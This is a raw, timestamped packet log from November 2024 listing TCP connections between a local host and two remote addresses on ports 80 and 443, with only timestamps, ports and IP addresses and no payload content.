Nov 12, 2024 13:35:12.892827988 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.892872095 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.892995119 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893034935 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.893160105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893172026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893183947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893194914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893209934 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.893244028 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.893531084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893542051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893588066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.893678904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893698931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893711090 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893723011 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.893726110 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.893757105 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.893780947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.894085884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.894098997 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.894109964 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.894140005 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.894161940 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.908911943 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.908982038 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.908987999 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.908998966 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.909022093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.909034967 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.954090118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954109907 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954138994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954183102 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.954222918 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.954240084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954283953 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.954377890 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954390049 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954401970 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954423904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.954441071 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.954616070 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954636097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954649925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954659939 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954668045 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.954699039 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.954948902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954960108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954971075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954988956 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.954999924 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.955012083 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.955039978 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.955244064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.955256939 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.955297947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.955357075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.955367088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:12.955404043 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:12.962690115 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:12.962825060 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:12.965424061 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:12.965441942 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:12.965811014 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:12.974519014 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.011843920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.011903048 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.011918068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.011929035 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.011944056 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.011965036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.012147903 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012161016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012172937 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012183905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012190104 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.012228012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.012262106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.012659073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012671947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012682915 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012702942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012708902 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.012713909 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012713909 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.012726068 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012737036 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.012737036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.012743950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.012763977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.012790918 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.013458967 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.013473034 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.013484955 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.013509035 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.013530970 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.019339085 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.026662111 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.026722908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.026732922 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.026753902 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.026753902 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.026779890 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.071690083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.071742058 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.071754932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.071765900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.071810961 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.072026968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072038889 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072050095 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072062016 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072068930 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.072093010 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.072118044 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.072421074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072428942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072468042 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.072562933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072573900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072613001 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.072621107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072633028 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072643995 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072654963 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.072662115 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.072683096 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.072706938 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.073539019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.073554039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.073564053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.073580980 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.073596001 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.141874075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.141952991 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.141957998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.141971111 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.141994953 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.142013073 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.142227888 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.142240047 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.142249107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.142290115 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.142313957 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.142623901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.142635107 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.142646074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.142657042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.142667055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.142669916 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.142682076 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.142703056 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.142811060 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.143244982 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.143255949 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.143269062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.143280029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.143285036 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.143290997 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.143301964 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.143332005 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.143341064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.144094944 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.144144058 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.144170046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.144175053 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.144208908 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.189387083 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.189449072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.189450026 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.189460039 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.189488888 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.189671993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.189682961 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.189692974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.189713001 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.189728975 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.190011024 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190022945 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190038919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190061092 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.190069914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.190418959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190431118 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190439939 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190458059 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190460920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190466881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190470934 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.190474987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.190495014 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.190519094 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.191154957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.191167116 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.191176891 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.191200018 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.191229105 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.218127966 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.218182087 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.218202114 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.218264103 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.218291998 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.218341112 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.259471893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.259541988 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.259557009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.259562016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.259593964 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.259799957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.259810925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.259821892 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.259855032 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.259865046 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.260018110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260066986 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.260143042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260154009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260168076 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260180950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260190010 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.260217905 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.260555029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260566950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260610104 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.260792017 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260803938 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260813951 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260824919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260835886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260843039 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.260847092 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.260853052 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.260885954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.261625051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.261672974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.261703968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.261715889 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.261746883 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.261761904 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.261887074 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.261928082 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.306749105 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.306802988 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.306811094 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.306823015 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.306874990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.306999922 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307013988 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307024956 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307048082 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.307079077 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.307250977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307260990 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307275057 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307302952 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.307317019 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.307550907 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307600021 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.307701111 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307712078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307717085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307723999 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307733059 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307742119 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307754040 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.307804108 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.308227062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.308278084 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.308506012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.308516026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.308527946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.308542013 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.308547974 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.308552980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.308561087 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.308573008 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.308604002 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.335158110 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.335186958 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.335226059 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.335247040 CET	443	49711	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:13.335261106 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.335288048 CET	49711	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:13.377108097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377197981 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.377230883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377243042 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377271891 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.377294064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.377429008 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377439976 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377449989 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377474070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.377505064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.377707958 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377753019 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.377891064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377901077 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377909899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377922058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377931118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.377937078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.377948046 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.377980947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.378365993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.378410101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.378448009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.378458977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.378469944 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.378482103 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.378493071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.378494024 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.378504038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.378523111 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.378560066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.379257917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.379302979 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.379339933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.379353046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.379385948 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.379405022 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.379565954 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.379578114 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.379609108 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.379626989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.424665928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.424731016 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.424765110 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.424779892 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.424812078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.424833059 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.425009012 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.425019979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.425030947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.425043106 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:13.425064087 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:13.425091028 CET	49709	80	192.168.2.6	185.215.113.206
